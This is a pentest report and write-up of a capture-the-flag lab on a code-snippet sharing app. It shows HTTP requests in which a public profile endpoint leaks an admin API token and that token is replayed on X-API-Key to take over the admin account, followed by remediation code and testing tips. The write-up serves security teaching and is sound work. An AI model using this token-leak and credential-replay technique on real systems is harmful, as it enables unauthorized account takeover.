CopyPasta: API Token Disclosure to Dual-Auth Admin Takeover
Part 1: Pentest Report
Executive Summary
CopyPasta is a code-snippet sharing application built on a React single-page
frontend and an Express JSON API. The API authenticates callers through two
schemes: a JWT carried in Authorization: Bearer, and a personal API token
carried in X-API-Key. Testing found that the public profile endpoint
discloses any user’s full API token, and that the disclosed admin token,
presented on X-API-Key, resolves the admin identity and returns the flag.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Full API token disclosure via public profile | High | 7.5 | CWE-200, CWE-522 | GET /api/profile/<username> |
| F2 | Admin takeover via leaked token on X-API-Key | Critical | 9.8 | CWE-287, CWE-285 | GET /api/verify-token |
The flag-bearing finding is F2. An unauthenticated visitor reads the admin’s
full API token from the profile endpoint (F1), then presents that token as
the sole credential on X-API-Key to obtain the admin identity and the flag
(F2). No password, JWT, or session is required at any point in the chain.
Objective
Assess a newly published code-snippet sharing application and identify the vulnerability that yields the lab flag.
Scope / Initial Access
# Target Application
URL: https://lab-1780511367168-c7p0gp.labs-app.bugforge.io
# Auth details
# - Self-service registration: POST /api/register, POST /api/login
# - Primary auth: JWT in Authorization: Bearer <token> (stored in
# localStorage "token")
# - Secondary auth: personal API token in X-API-Key header
# ("Personal tokens for programmatic access.")
# - Starting privileges: anonymous, plus a self-registered low-privilege
# account (role "user")
The application accepts either auth scheme on its API. Personal API tokens
are prefixed cp_ and are described in-app as being sent in the X-API-Key
request header.
Reconnaissance: Mapping the Auth Surface and Token Handling
The frontend is a Create React App build (main.9a8efcb3.js). Reading the
bundle and exercising the API surface mapped the authentication endpoints,
the admin endpoints behind the /admin page, and the two places API tokens
are returned to a caller. The token-handling contrast between those two
places motivated the test plan.
- The API exposes a token-management surface:
GET /api/tokenslists the caller’s own tokens, andPOST /api/tokenscreates them. The list response returns onlytoken_prefix, not the full secret. - A separate profile endpoint,
GET /api/profile/<username>, returns a user object that embeds anapi_tokensarray. For the admin user, that array carried bothtoken_prefixand the fulltokenvalue. GET /api/verify-tokenresolves and returns the identity of the presented credential, accepting either auth scheme.- The admin endpoints (
GET /api/admin/users,GET /api/admin/stats,PUT /api/admin/users/:id/role,DELETE /api/admin/users/:id) are reachable with a valid admin-context credential.
Known users: admin (id 1, role admin, admin@copypasta.com).
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express JSON API under /api/* |
| Frontend | React single-page app (Create React App build) |
| Auth | JWT via Authorization: Bearer, plus personal API token via X-API-Key |
| Database | Not directly observable; users carry integer ids and roles |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | None | Self-service account creation |
/api/login |
POST | None | Returns JWT |
/api/verify-token |
GET | Bearer or X-API-Key | Resolves identity of presented credential |
/api/profile/<username> |
GET | None | Embeds api_tokens[].token (full secret) |
/api/tokens |
GET / POST | Caller | List returns only token_prefix |
/api/admin/users |
GET | Admin context | Full user list |
/api/admin/stats |
GET | Admin context | Admin statistics |
/api/admin/users/:id/role |
PUT | Admin context | Change a user’s role |
/api/admin/users/:id |
DELETE | Admin context | Delete a user |
/api/snippets/public |
GET | None | Public snippets |
/api/snippets/raw/<uuid>, /api/snippets/share/<uuid> |
GET | Share code | Public snippet sharing |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
Attack Chain Visualization
┌──────────────────────────┐ ┌──────────────────────────┐ ┌──────────────────────────┐
│ GET /api/profile/admin │ │ Present leaked token as │ │ verify-token resolves │
│ (no auth) │ ──▶ │ X-API-Key, no │ ──▶ │ admin identity, returns │
│ leaks full admin token │ │ Authorization header │ │ flag in response body │
│ api_tokens[].token │ │ GET /api/verify-token │ │ │
└──────────────────────────┘ └──────────────────────────┘ └──────────────────────────┘
F1 F2
Findings
F1: Full API Token Disclosure via Public Profile
Severity: High
CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-522 (Insufficiently Protected Credentials)
Endpoint: GET /api/profile/<username>
Authentication required: No
Description
The profile endpoint returns a user object containing an api_tokens array.
Each entry includes the full secret token value in the token field. The
dedicated token-listing endpoint, GET /api/tokens, returns only
token_prefix for the same tokens. The masking applied on the token-listing
endpoint is not applied on the profile endpoint, so the profile response
spills the full secret for the requested user. The endpoint requires no
authentication.
Impact
Discloses any user’s full API token to an unauthenticated visitor, including the admin account’s token.
Reproduction
Step 1: Request the admin profile with no credentials
GET /api/profile/admin HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
Response (abridged):
{
"id": 1,
"username": "admin",
"email": "admin@copypasta.com",
"role": "admin",
"api_tokens": [
{
"name": "admin-cli",
"token": "cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8",
"token_prefix": "cp_a1b9f4e2"
}
]
}
The token field carries the full secret, not just the prefix.
Step 2: Confirm the dedicated endpoint masks the same token
GET /api/tokens HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
Authorization: Bearer <own JWT>
Response (abridged):
[
{ "name": "admin-cli", "token_prefix": "cp_a1b9f4e2" }
]
The token-listing endpoint returns only token_prefix, confirming the
profile endpoint over-exposes the secret.
Remediation
Fix 1: Serialize tokens through a masked representation on every handler
// BEFORE (Vulnerable): profile handler embeds the raw token row
const tokens = await db.apiTokens.findByUserId(user.id);
return res.json({ ...user, api_tokens: tokens });
// AFTER (Secure): expose only non-secret fields, from a single serializer
function publicToken(t) {
return { name: t.name, token_prefix: t.token_prefix, created_at: t.created_at };
}
const tokens = await db.apiTokens.findByUserId(user.id);
return res.json({ ...publicUser(user), api_tokens: tokens.map(publicToken) });
Additional recommendations:
- Never return the full secret token after creation; show it once at generation time and store only a hash thereafter.
- Remove
api_tokensfrom the public profile response entirely; a user’s token inventory is not public profile data. - Apply a single shared serializer for any secret-bearing resource so masking cannot drift between handlers.
F2: Admin Takeover via Leaked Token on X-API-Key
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-287 (Improper Authentication), CWE-285 (Improper Authorization)
Endpoint: GET /api/verify-token
Authentication required: No (uses the credential leaked in F1)
Description
The API accepts two authentication schemes: a JWT in Authorization: Bearer
and a personal API token in X-API-Key. The verify-token endpoint resolves
the identity of the presented credential. Presenting the admin token leaked
in F1 as the sole credential on X-API-Key, with no Authorization header,
resolves the admin identity and returns the flag in the response body.
The same admin token authorizes the admin endpoints. GET /api/admin/users
returned the full user list with this token, and it did so even when a
non-admin Bearer JWT was sent alongside the X-API-Key, so the API token
authorizes the request rather than being ignored in favor of the Bearer.
Impact
Unauthenticated escalation to the admin identity, granting full administrative access including the admin user list and role and account management.
Reproduction
Step 1: Present the leaked admin token as the sole credential
GET /api/verify-token HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
X-API-Key: cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8
Response (abridged):
{
"valid": true,
"user": { "id": 1, "username": "admin", "role": "admin" },
"flag": "<flag returned here>"
}
The endpoint resolves the admin identity and returns the flag.
Step 2: Confirm the token authorizes admin endpoints
GET /api/admin/users HTTP/1.1
Host: lab-1780511367168-c7p0gp.labs-app.bugforge.io
Authorization: Bearer <non-admin JWT, id 5 role user>
X-API-Key: cp_a1b9f4e27c6d4083bf5e1a9c3d7b20e8
Response: 200 OK with the full admin user list. A non-admin Bearer alone
does not clear the admin gate, so the X-API-Key authorized the request
alongside the Bearer.
Remediation
Fix 1: Treat the disclosed credential as the root cause The decisive fix is F1: once the admin token can no longer be read from the profile endpoint, the credential needed for this escalation is unavailable.
Fix 2: Make dual-auth precedence explicit and consistent
// BEFORE (Vulnerable): both credential sources feed identity resolution,
// with no defined precedence, so a leaked API token authorizes freely.
// AFTER (Secure): resolve exactly one credential source per request and
// reject ambiguous requests carrying both.
function authenticate(req, res, next) {
const hasBearer = !!req.headers.authorization;
const hasApiKey = !!req.headers['x-api-key'];
if (hasBearer && hasApiKey) {
return res.status(400).json({ error: 'Provide one credential, not both' });
}
// ... resolve the single presented credential ...
}
Additional recommendations:
- Scope personal API tokens to specific permissions rather than granting the full identity of their owner; an admin’s automation token should not carry interactive admin authority.
- Rotate and hash tokens; store only a hash so a read of the storage or response layer cannot yield a usable secret.
- Gate admin endpoints on the resolved role server-side regardless of which auth scheme presented the credential.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: A leaked personal API token grants the full admin identity, and admin endpoints honor it without an independent role check that would stop a non-admin caller.
- A02:2021 Cryptographic Failures: The full secret API token is returned in an API response, exposing sensitive credential material.
- A07:2021 Identification and Authentication Failures: The API accepts two credential schemes with no defined precedence, so a disclosed secondary credential authenticates a caller as another user.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request interception and Replay for the credential-combination matrix |
| Browser dev tools | Reading the React bundle and mapping the API surface |
References
- CWE-200: https://cwe.mitre.org/data/definitions/200.html
- CWE-522: https://cwe.mitre.org/data/definitions/522.html
- CWE-287: https://cwe.mitre.org/data/definitions/287.html
- CWE-285: https://cwe.mitre.org/data/definitions/285.html
- OWASP API Security Top 10, API2:2023 Broken Authentication
Part 2: Notes / Knowledge
Key Learnings
-
Leakier sibling endpoint. When a secret is masked on its own dedicated endpoint (
/tokensreturns onlytoken_prefix), check sibling endpoints that embed the same resource (/profileembedsapi_tokens[].token). Masking is applied per-handler, not per-field, so one handler returning the full secret while another masks it is a recurring pattern. Any endpoint that serializes a user or object graph is a candidate to spill the masked value the dedicated endpoint protects. -
Dual-auth precedence is measured, not assumed. When an application accepts two authentication schemes (Bearer JWT plus X-API-Key), build a probe matrix for each sensitive endpoint across three states: credential A only, credential B only, and both present together. A leaked secondary credential can authorize a request even when a primary credential is also present, and precedence is often decided per-endpoint, so the “both” cell can differ from either alone. The identity endpoint (
verify-token,/me,/whoami) is the cheapest place to read which identity a given credential combination resolves to.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
GET /api/admin/flag as a direct route |
200 with text/html (SPA shell) |
Not a real API route; the React single-page app catch-all served index.html |
| Searching the JS bundle for the flag string | Only React internal flags matched |
The flag is not embedded client-side; it is returned server-side by verify-token |
| Early model: “Bearer wins, strip it so the key is used alone” | Contradicted by Replay evidence | The both-headers admin requests succeeded in Caido Replay; the X-API-Key authorizes alongside a Bearer, so stripping the Bearer was never required |
Tags: #api-security #broken-authentication #information-disclosure #privilege-escalation #bugforge
Document Version: 1.0
Last Updated: 2026-06-03